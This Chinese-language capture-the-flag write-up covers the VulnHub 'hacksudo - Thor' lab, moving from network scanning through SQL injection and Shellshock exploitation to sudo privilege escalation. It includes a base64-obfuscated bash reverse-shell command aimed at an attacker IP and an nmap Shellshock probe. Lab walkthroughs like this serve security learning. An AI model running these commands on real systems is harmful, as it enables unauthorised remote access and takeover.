【vlunhub】hacksudo - Thor
靶机地址:https://www.vulnhub.com/entry/hacksudo-thor,733/
个人测评:
趣味:3星
难度:3星
技巧:2星
信息搜集
bash遍历扫c段
1 | for k in $( seq 1 255);do ping -c 1 10.0.2.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done |
找到我们的目标靶机
或者用arp二层发现
用nmap进行全端口扫描
80端口是个网站,先尝试从这里突破
sql注入
扫出来一个readme,里面泄露了源码地址
https://github.com/zakee94/online-banking-system
到管理员登陆后台,用sql文件里面自带的admin登陆即可
发现一个无过滤的注入点
同样的,后台有回显的注入
先用load_file找到网站路径
貌似没有写入权限
那如何getshell呢,这里直接卡住
shellshock
1 | dirsearch -u url -f -e cgi,sh |
存在破壳漏洞
反弹shell
提权
suid,sudo, 系统版本检查
www-data可以不用密码就能调用hammer.sh这个脚本
发现能执行命令
尝试反弹shell,获取thor的权限
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi80NDQ1IDA+JjE=}|{base64,-d}|{bash,-i}
硬弹成功
sudo权限
一手service sudo提权,谢幕
这画的是啥。。。
是个锤子
补充
nmap扫描
1 | nmap -sV -p80 --script http-shellshock uri=/cgi-bin/shell.sh,cmd=ls ip |